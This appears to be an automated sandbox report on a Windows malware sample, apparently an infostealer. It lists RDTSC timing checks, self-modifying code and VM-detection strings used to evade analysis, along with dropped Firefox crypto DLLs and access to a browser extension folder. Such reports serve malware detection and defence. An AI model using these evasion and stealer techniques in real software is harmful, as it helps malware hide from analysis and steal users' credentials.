Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C27A1D second address: C27A39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F209CBE00A3h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C27A39 second address: C27A46 instructions: 0x00000000 rdtsc 0x00000002 js 00007F209CD00FF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C27A46 second address: C27A4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop esi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2FCF8 second address: C2FD19 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F209CD01007h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2FD19 second address: C2FD1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2FD1D second address: C2FD21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2FD21 second address: C2FD31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F209CBE0096h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2FE7A second address: C2FE9B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F209CD00FFFh 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jl 00007F209CD00FF6h 0x00000012 push edx 0x00000013 pop edx 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3C60B second address: C3C611 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3C611 second address: C3C62A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F209CD01004h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3C76D second address: C3C790 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007F209CBE00A4h 0x0000000a push eax 0x0000000b push edx 0x0000000c jc 00007F209CBE0098h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3C790 second address: C3C7A3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F209CD00FFEh 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3F7A6 second address: C3F7B0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3F7B0 second address: C3F7B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3F7B6 second address: C3F7BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3F4C6 second address: C3F4CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C461B6 second address: C461BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C57DDA second address: C57DDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C57DDE second address: C57DE4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C57DE4 second address: C57DE9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C580DF second address: C580EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jo 00007F209CBE0096h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C580EF second address: C580F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C580F3 second address: C580F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5824F second address: C58253 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C58513 second address: C5852B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push ebx 0x00000006 jmp 00007F209CBE009Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5852B second address: C5852F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C58689 second address: C58694 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5CC42 second address: C5CC5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F209CD00FF6h 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F209CD00FFAh 0x00000012 push edi 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5CC5B second address: C5CC5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C62DBC second address: C62DC4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C647B9 second address: C647BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C696BC second address: C696C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C696C2 second address: C696C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C696C6 second address: C696D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C696D3 second address: C696E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 jng 00007F209CBE009Ah 0x0000000e push edx 0x0000000f pop edx 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C696E9 second address: C696ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7BB0B second address: C7BB0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7D5C7 second address: C7D5D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 je 00007F209CD00FFEh 0x0000000b push edi 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7F069 second address: C7F06F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7F06F second address: C7F07B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C909F0 second address: C909F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C909F6 second address: C90A54 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007F209CD01008h 0x0000000c pushad 0x0000000d jmp 00007F209CD01008h 0x00000012 jmp 00007F209CD01007h 0x00000017 push eax 0x00000018 pop eax 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 push ecx 0x00000021 pop ecx 0x00000022 push eax 0x00000023 pop eax 0x00000024 pushad 0x00000025 popad 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8F8ED second address: C8F8F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8FA59 second address: C8FA64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8FB9C second address: C8FBA8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jo 00007F209CBE0096h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8FBA8 second address: C8FBAD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8FE23 second address: C8FE37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F209CBE009Dh 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8FE37 second address: C8FE4D instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F209CD00FFEh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C903B5 second address: C903CE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F209CBE00A5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C903CE second address: C903F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F209CD00FFEh 0x00000007 pushad 0x00000008 push esi 0x00000009 pop esi 0x0000000a jo 00007F209CD00FF6h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 pop eax 0x0000001a push eax 0x0000001b pop eax 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C90699 second address: C906A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C906A1 second address: C906EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F209CD01003h 0x0000000b push edx 0x0000000c pop edx 0x0000000d jmp 00007F209CD00FFFh 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 pop edx 0x00000016 pop eax 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F209CD01008h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9617E second address: C96184 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C96184 second address: C96195 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e push eax 0x0000000f pop eax 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C96571 second address: C965CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 jmp 00007F209CBE009Dh 0x0000000b nop 0x0000000c and edx, dword ptr [ebp+12463CF8h] 0x00000012 pushad 0x00000013 mov edx, dword ptr [ebp+122D3725h] 0x00000019 mov dword ptr [ebp+1247BF08h], ebx 0x0000001f popad 0x00000020 push dword ptr [ebp+1246A3E7h] 0x00000026 mov edx, dword ptr [ebp+122D386Dh] 0x0000002c call 00007F209CBE0099h 0x00000031 jmp 00007F209CBE009Ah 0x00000036 push eax 0x00000037 push eax 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007F209CBE00A1h 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C998F3 second address: C998F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C998F7 second address: C99914 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F209CBE00A7h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C99914 second address: C99957 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F209CD00FFCh 0x00000008 jg 00007F209CD01002h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jo 00007F209CD0101Ch 0x00000016 jmp 00007F209CD01006h 0x0000001b pushad 0x0000001c push edx 0x0000001d pop edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C99957 second address: C9995D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53004E6 second address: 53004EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53004EC second address: 5300538 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F209CBE00A8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov ax, di 0x0000000e mov edi, 112BF0E0h 0x00000013 popad 0x00000014 xchg eax, ebp 0x00000015 pushad 0x00000016 pushad 0x00000017 jmp 00007F209CBE009Bh 0x0000001c mov eax, 0D82ED2Fh 0x00000021 popad 0x00000022 mov bl, al 0x00000024 popad 0x00000025 mov ebp, esp 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F209CBE009Ah 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBABC4 second address: BBABC8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBABC8 second address: BBABDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f jbe 00007F209CBE009Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 530064A second address: 5300650 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300650 second address: 53006B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F209CBE00A4h 0x00000009 sub cl, FFFFFF88h 0x0000000c jmp 00007F209CBE009Bh 0x00000011 popfd 0x00000012 push ecx 0x00000013 pop edx 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 pushad 0x00000019 movsx edx, si 0x0000001c pushfd 0x0000001d jmp 00007F209CBE009Ch 0x00000022 jmp 00007F209CBE00A5h 0x00000027 popfd 0x00000028 popad 0x00000029 xchg eax, ebp 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007F209CBE009Dh 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53006B5 second address: 53006C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F209CD00FFCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53006C5 second address: 53006C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53006C9 second address: 5300712 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b jmp 00007F209CD00FFDh 0x00000010 mov si, 99A7h 0x00000014 popad 0x00000015 pop ebp 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 pushfd 0x0000001a jmp 00007F209CD01006h 0x0000001f or ax, 8208h 0x00000024 jmp 00007F209CD00FFBh 0x00000029 popfd 0x0000002a rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: A039FE instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: BAE715 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: BB7FB6 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: BBF69D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: C3175D instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007CD8C0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_007CD8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007D39B0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_007D39B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007CE270 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_007CE270
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007D43F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_007D43F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007CF4F0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_007CF4F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007CBCB0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_007CBCB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007C1710 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_007C1710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007D4050 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_007D4050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007CEB60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_007CEB60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007D33C0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_007D33C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007CDC50 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_007CDC50

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_007D7970 GetSystemInfo,wsprintfA,

0_2_007D7970

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.1884629428.00000000012BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.1884629428.0000000001304000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1884629428.0000000001333000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
